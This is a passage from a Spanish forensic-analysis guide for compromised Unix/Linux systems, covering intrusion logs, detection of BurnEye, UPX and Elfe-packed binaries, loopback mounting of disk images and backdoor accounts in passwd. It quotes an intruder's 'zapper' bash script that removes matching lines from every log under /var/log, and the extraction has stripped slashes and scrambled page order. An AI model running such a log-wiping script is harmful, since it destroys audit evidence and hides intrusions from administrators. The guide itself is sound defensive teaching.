Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 16: Análisis Forense de Sistemas GNU/Linux, Unix

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

